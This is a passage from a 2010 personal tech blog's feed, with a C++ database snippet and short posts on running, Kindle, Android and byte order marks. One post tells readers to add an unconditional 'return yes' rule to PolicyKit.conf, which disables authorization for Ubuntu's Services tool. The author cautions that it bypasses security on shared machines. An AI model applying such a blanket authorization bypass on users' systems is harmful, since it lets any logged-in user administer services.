&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (size_t i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; res.num_rows(); &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                cout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;30&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; res[i][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; res[i][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;num&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; res[i][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;weight&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; res[i][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;price&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39; &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        setw(&lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; res[i][&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;sdate&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        endl;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            cerr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to get stock table: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; query.error() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        cerr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DB connection failed: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; conn.error() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; endl;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Unlock button in Services is greyed out</title>
      <link>/post/2010/10/unlock-button-in-services-is-grayed-out/</link>
      <pubDate>Sat, 23 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/unlock-button-in-services-is-grayed-out/</guid>
      <description>&lt;p&gt;If you are running Ubuntu and want to modify the services running on the OS using the GUI, the way to do this is via System → Administration → Services. This is all very good, but in my case on one machine the Unlock button on the Services window was greyed out. Sure, I could use the shell to modify this, but when this is something I use quite rarely I need to go and look up the exact command and it can get a pain. Plus, that is the whole point of running the GUI? ;-)&lt;/p&gt;
&lt;p&gt;One easy way to solve this is to to modify the &lt;strong&gt;/etc/PolicyKit/PolicyKit.conf file&lt;/strong&gt; and add the following in the end:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;return result=&amp;quot;yes&amp;quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You might not have privileges to edit the file and might need to do it as root; you can use the following command for that:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo gedit /etc/PolicyKit/PolicyKit.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here is the output from my file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;lt;!-- -*- XML -*- --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;lt;!DOCTYPE pkconfig PUBLIC &amp;#34;-//freedesktop//DTD PolicyKit Configuration 1.0//EN&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;#34;http://hal.freedesktop.org/releases/PolicyKit/1.0/config.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&amp;lt;!-- See the manual page PolicyKit.conf(5) for file format --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;config&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;version=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;0.1&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;match&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;user=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;return&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;result=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/match&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;define_admin_auth&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;group=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;return&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;result=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;lt;/config&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;One word of caution, this will by pass some of the built-in security and allow any logged on user to get access to the services. If you are the only one using your computer in an environment where someone else won&amp;rsquo;t be able to get their hands on it (e.g. at home and not at work or school or college) then you should be OK. But if you are not the sole user of the computer or will be in an environment where others can get their hands on it, then I won&amp;rsquo;t recommend you do this.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Running</title>
      <link>/post/2010/10/running/</link>
      <pubDate>Fri, 22 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/running/</guid>
      <description>&lt;p&gt;Happy that recently my running has been consistent and the weather has been helpful too. Last few days it has turned cold with the temperature down to 4 degrees C. It helps me relax and de-stress and clear my head. &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticonsmile.png&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Below is a screenshot of the workout profile from this week thanks for iMapMyRun free app for my Android Wildfire (which is small and light enough for me to carry in my pocket when on my run). Still need to build more stamina.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1058602498_QnYnH-O.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Techy Books on Kindle?</title>
      <link>/post/2010/10/techy-books-on-kindle/</link>
      <pubDate>Fri, 22 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/techy-books-on-kindle/</guid>
      <description>&lt;p&gt;I was &lt;a
	
		href = &#34;http://twitter.com/bahree/status/27777061639#&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		thinking of getting
	&lt;/span&gt;
&lt;/a&gt; the latest version of the Kindle, but one of the factors in the decision will be the number of techy books available for the Kindle. Anyone owning one has any ideas? Are there far and few or is there a good selection with more being added? I do read novels, but not as many and if there are not enough techy books for the Kindle right now then that might be a deal breaker.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Postings from Android</title>
      <link>/post/2010/09/postings-from-android/</link>
      <pubDate>Fri, 10 Sep 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/09/postings-from-android/</guid>
      <description>&lt;p&gt;First post from my brand new Android phone and the Wordpress app. Quite impressed with it so far. I sure do miss the keyboard though.&lt;/p&gt;
&lt;p&gt;Suggestions for any apps? My phone is HTC wildfire and nothing fancy so the apps should be able to run on this phone.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Byte order marks and CRLFs?</title>
      <link>/post/2010/09/byte-order-marks-and-crlfs/</link>
      <pubDate>Thu, 02 Sep 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/09/byte-order-marks-and-crlfs/</guid>
      <description>&lt;p&gt;It continues to surprise me that people who write software for a living these days (i.e professional developers) have no understanding of what &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Byte_order_mark&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		byte order marks
	&lt;/span&gt;
&lt;/a&gt; are and how they relate to different encodings. Most developers I interact with have no clue - including of course how &lt;code&gt;EF BB BF&lt;/code&gt; differs from &lt;code&gt;FF FE&lt;/code&gt;. Also so few of them have a understanding of &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Newline&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		linefeeds
	&lt;/span&gt;
&lt;/a&gt; and how that differs from Unix to Windows.&lt;/p&gt;
&lt;p&gt;If this is the trend, then it probably is not a good sign of the times to come.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Boolean logic explained</title>
      <link>/post/2010/08/boolean-logic-explained/</link>
      <pubDate>Sun, 08 Aug 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/08/boolean-logic-explained/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;http://geekandpoke.typepad.com/.a/6a00d8341d3df553ef013485fd51ab970c-800wi&#34; alt=&#34;Boolean logic explained&#34;/&gt;
        &lt;figcaption&gt;Boolean logic explained&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Project Management – how to test?</title>
      <link>/post/2010/08/project-management-how-to-test/</link>
      <pubDate>Sun, 08 Aug 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/08/project-management-how-to-test/</guid>
      <description>&lt;p&gt;I think many of us can relate to this - including my current project. :roll:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/6a00d8341d3df553ef01348606d1bb970c-800wi.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Project Management - how to test&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Race Conditions explained</title>
      <link>/post/2010/08/race-conditions-explained/</link>
      <pubDate>Sun, 08 Aug 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/08/race-conditions-explained/</guid>
      <description>&lt;p&gt;Need I say more?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;http://geekandpoke.typepad.com/.a/6a00d8341d3df553ef013485f6be4d970c-800wi&#34; alt=&#34;Race condition explained&#34;/&gt;
        &lt;figcaption&gt;Race condition explained&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Still no sleep</title>
      <link>/post/2010/08/still-no-sleep/</link>
      <pubDate>Sun, 08 Aug 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/08/still-no-sleep/</guid>
      <description>&lt;p&gt;Unfortunately (or fortunately), depending on your perspective, this is so me!
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/still_no_sleep.png&#34; alt=&#34;Still no sleep&#34;/&gt;
        &lt;figcaption&gt;Still no sleep&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>iPhone 3.0G and iOS 4</title>
      <link>/post/2010/07/iphone-3-0g-and-ios-4/</link>
      <pubDate>Fri, 30 Jul 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/07/iphone-3-0g-and-ios-4/</guid>
      <description>&lt;p&gt;The wife has one of these and can absolutely relate to this! &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticonsmile.png&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft&#39;s Street Slide</title>
      <link>/post/2010/07/microsofts-street-slide/</link>
      <pubDate>Wed, 28 Jul 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/07/microsofts-street-slide/</guid>
      <description>&lt;p&gt;This is quite cool – now only if MS hurry’s up and incorporated this to Bing Maps.&lt;/p&gt;
&lt;p&gt;MS Street Slide&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Upgraded to WP 3.0</title>
      <link>/post/2010/06/upgraded-to-wp-3-0/</link>
      <pubDate>Mon, 28 Jun 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/06/upgraded-to-wp-3-0/</guid>
      <description>&lt;p&gt;Just upgraded the blog to WordPress 3.0 - two clicks and I was done - can it get any simpler? What a pleasant surprise compared to the pile of crap that CS 2007+ turned out to be. Try upgrading that in something like two clicks? Ha! Well done WordPress!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #22</title>
      <link>/post/2010/06/interesting-find-22/</link>
      <pubDate>Fri, 25 Jun 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/06/interesting-find-22/</guid>
      <description>&lt;p&gt;Next post in the interesting find series.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.piriform.com/speccy&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Speccy
	&lt;/span&gt;
&lt;/a&gt; - an advanced and very cool System Information tool for your PC.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.wired.com/wiredscience/2010/03/gallery-rivers/all/1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Channeling Earth
	&lt;/span&gt;
&lt;/a&gt; - Rivers Seen From Space&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://anandtech.com/storage/showdoc.aspx?i=3631&amp;amp;p=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The SSD Relapse
	&lt;/span&gt;
&lt;/a&gt; - Understanding and Choosing the Best SSD&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.raymond.cc/blog/archives/2008/07/20/how-to-manually-turn-off-notebook-or-laptop-lcd-screen/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Turn off laptop screen
	&lt;/span&gt;
&lt;/a&gt; – every machine does not have an option to switch off the screen (say at night) and this small app is perfect for those situations – very handy at night.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://news.cnet.com/8301-27076_3-20000133-248.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		How to save and share ridiculously large files
	&lt;/span&gt;
&lt;/a&gt; – well the name says it all. :)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/psssql/archive/2010/03/24/how-it-works-bob-dorr-s-sql-server-i-o-presentation.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SQL Server I/O Internals
	&lt;/span&gt;
